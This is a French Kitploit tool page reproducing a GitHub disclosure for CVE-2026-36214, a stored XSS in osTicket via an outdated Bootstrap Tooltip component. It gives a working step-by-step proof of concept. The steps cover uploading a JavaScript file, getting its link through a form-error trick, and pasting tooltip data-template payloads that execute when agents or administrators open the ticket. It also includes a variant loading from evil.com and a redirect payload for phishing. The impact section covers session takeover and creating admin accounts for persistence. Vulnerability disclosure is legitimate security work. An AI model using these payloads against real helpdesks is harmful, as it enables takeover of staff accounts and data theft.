Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-36214 — Cross-Site Scripting (XSS) stocké dans osTicket via un composant Bootstrap Tooltip vulnérable | Kitploit
Outils/GitHubGitHub/weswrench/cve-2026-36214
Outils de PhishingAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubweswrench/cve-2026-36214

CVE-2026-36214

Cross-Site Scripting (XSS) stocké dans osTicket via un composant Bootstrap Tooltip vulnérable

Voir le dépôt
1il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-36214 - Cross-Site Scripting (XSS) stocké dans osTicket via le composant Bootstrap Tooltip vulnérable

Description

Les versions d'osTicket d'Enhancesoft, de 1.10 à 1.17.7 et de 1.18.0 à 1.18.3, incluent le composant Bootstrap Tooltip 3.3.4, connu pour être vulnérable (CVE-2019-8331), ce qui introduit une vulnérabilité de Cross-Site Scripting (XSS) stocké.

Dans la configuration par défaut d'osTicket, les soumetteurs de tickets (« utilisateurs ») peuvent soumettre des tickets sans authentification préalable, et l'auto-inscription des utilisateurs est ouverte par défaut. Un utilisateur distant peut créer un message de ticket malveillant qui, malgré le passage par le module de désinfection HTML htmlLawed, entraîne l'exécution de JavaScript arbitraire dans le navigateur de tout agent ou administrateur consultant le ticket. Ce problème est aggravé par le fait que les fichiers JavaScript téléversés par les utilisateurs sont servis avec un type Content-Type d'exécution JavaScript (text/javascript), ce qui permet aux navigateurs de les interpréter comme du contenu actif. Alors que les charges utiles inline sont limitées par la façon dont Bootstrap Tooltip 3.3.4 analyse la valeur data-template en un objet jQuery et l'insère dans le DOM via appendTo() ou insertAfter(), l'exécution de code contrôlé par l'attaquant sous forme de scripts externes contourne ces limitations et permet une exploitation plus puissante de la vulnérabilité.

Versions affectées

  • Testées et confirmées vulnérables :

    • osTicket 1.18.2
    • osTicket 1.18.3
  • Version affectée :

    • v1.10 - v1.17.8 (exclu)
    • v1.18 - v1.18.4 (exclu)

Ce composant est présent dans le code source d'osTicket depuis le 13 mai 2015, comme le montre :

  • Fichier : scp/js/bootstrap-tooltip.js
  • Commit : e5a28410ae7c238932eef07c2b3568da015a792c

Ce commit est associé aux balises de version d'osTicket remontant à la version 1.10, ce qui indique que le composant Bootstrap Tooltip vulnérable a été inclus dans un large éventail de versions d'osTicket sur plusieurs versions majeures. Cette inclusion de longue durée suggère fortement que de nombreuses versions d'osTicket publiées sur plusieurs années sont concernées.


1. Vue d'ensemble

osTicket est un système de tickets open-source largement utilisé qui permet aux utilisateurs finaux de soumettre du contenu HTML riche et des pièces jointes dans le cadre de la création de tickets et des réponses.

osTicket définit trois grandes catégories d'utilisateurs :

  • Administrateur
    • Accès administratif complet
    • Configuration globale, utilisateurs, rôles, plugins
  • Agent
    • Accès opérationnel aux tickets
    • Peut consulter, répondre, transférer, clôturer des tickets
  • Utilisateur (client / utilisateur final)
    • Peut uniquement accéder au portail client
    • Peut créer et consulter ses propres tickets

Tout contenu HTML soumis par un utilisateur peut ensuite être rendu dans le navigateur d'un agent ou d'un administrateur, ce qui rend les vulnérabilités côté client particulièrement impactantes.


2. Preuve de concept

Tout d'abord, authentifiez-vous avec votre compte d'utilisateur final et accédez à la page de création de ticket.
Ensuite, créez un fichier JavaScript (ex. : test.js) contenant une charge utile. Par exemple :

root@kitploit:~
alert(123);

Remarque : par défaut, osTicket autorise les pièces jointes aux tickets sans restriction de type de fichier.

Téléverser un fichier JS

Ensuite, soumettez le ticket en cliquant sur “Create Ticket” sans fournir de “Issue Details”.

L'application nous redirige vers le formulaire de soumission de ticket avec l'erreur “Issue Details is a required field”.
Cette page nous permet de récupérer un lien de téléchargement pour notre fichier JavaScript (test.js) sans soumettre réellement de ticket.

Obtenir le lien direct de notre fichier JS téléversé

Content-Type de notre fichier JS téléversé

Une fois ce lien obtenu, revenez au formulaire de soumission de ticket.
Cliquez sur l'éditeur HTML et collez cette charge utile, en remplaçant l'attribut src de la balise script par le lien obtenu précédemment.

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='[LINK_HERE]'>"></div>
<input>

Voici un exemple de charge utile complète, où le motif [LINK_HERE] a été remplacé par le lien obtenu précédemment :

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://localhost:8080/file.php?key=rjfge-qlcmbwgnsfl8hhwktyhctre-_e&expires=1768780800&signature=5044f8201f041228de077a2e025e6fc118b31223'>"></div>
<input>

Ensuite, soumettez le ticket.

Soumettre la charge utile malveillante

Lorsqu'un administrateur ou un agent consulte notre ticket malveillant, la charge utile est déclenchée.

Charge utile déclenchée

Résultat :
Lorsqu'un administrateur ou un agent ouvre le ticket malveillant, la charge utile JavaScript est chargée et exécutée dans le contexte de la session de l'administrateur/de l'agent.

Ceci conduit à un XSS stocké, permettant une compromission complète de la session (par exemple via ezXSS, CSRF pour effectuer des actions d'administrateur ou d'agent).


3. Impact

Compromission d'un agent

Si le ticket malveillant est consulté par un agent, le XSS stocké s'exécute dans le contexte de la session authentifiée de l'agent.

Cela permet à un attaquant de prendre efficacement le contrôle de la session de l'agent sans avoir à extraire le cookie de session (par exemple, même dans les scénarios où l'exfiltration du cookie n'est pas pratique et où une plateforme de blind-XSS telle que ezXSS est utilisée). Une fois le XSS exécuté, l'attaquant peut effectuer toute action que l'agent compromis est autorisé à effectuer, par exemple :

  • Consulter les tickets accessibles à cet agent (souvent une grande partie du helpdesk)
  • Télécharger et examiner les pièces jointes des tickets
  • Répondre aux tickets et interagir avec les utilisateurs
  • Transférer, clôturer ou mettre à jour l'état des tickets
  • Ajouter des notes internes (si autorisé)

Ceci entraîne une compromission totale des capacités opérationnelles de l'agent et de la confidentialité/intégrité du flux de travail de ticketing.

Compromission d'un administrateur

Si le ticket malveillant est consulté par un administrateur, l'impact s'étend à une compromission complète de l'application. L'attaquant peut :

  • Prendre le contrôle de la session de l'administrateur
  • Modifier la configuration globale (paramètres, permissions, ...)
  • Provoquer un déni de service en modifiant des valeurs de configuration critiques
  • Modifier les « pages » / modèles administratifs, permettant une défiguration globale et du phishing sur l'interface de l'application
  • Créer de nouveaux comptes agent et/ou administrateur pour établir une persistance

Remarque sur le téléversement de fichiers restreint et la Content Security Policy

Bien que la configuration par défaut d'osTicket autorise le téléversement de fichiers JavaScript, osTicket peut être configuré dans le panneau d'administration pour qu'un utilisateur final ne soit pas autorisé à téléverser des fichiers JavaScript.

De plus, le panneau de contrôle du personnel utilisé par les agents et les administrateurs applique une Content Security Policy qui empêche l'exécution de JavaScript provenant de domaines tiers.
Prenons la charge utile suivante comme exemple :

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://evil.com'></object>"></div>
<input>

La capture d'écran ci-dessous montre que le chargement d'un script depuis https://evil.com a été bloqué par la Content Security Policy appliquée sur le panneau de contrôle du personnel.

Charge utile bloquée par CSP

Cependant, la Content Security Policy implémentée dans l'application autorise le JavaScript inline.

CSP sur le panneau Agent/Admin

Dans le cas où le téléversement de fichiers JavaScript est bloqué, il est toujours possible pour un attaquant d'effectuer des actions malveillantes. Prenons la charge utile ci-dessous :

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template=""></div>
<input>

La charge utile Base64 se décode en :

root@kitploit:~
<script>top.location = "https://example.com";</script>

Cette charge utile permet à un attaquant de rediriger un agent ou un administrateur consultant le ticket malveillant vers un site web arbitraire, par exemple un site de phishing.

Voici le résultat après avoir consulté un ticket contenant la charge utile ci-dessus. Redirection vers un site web arbitraire

Télécharger l’outil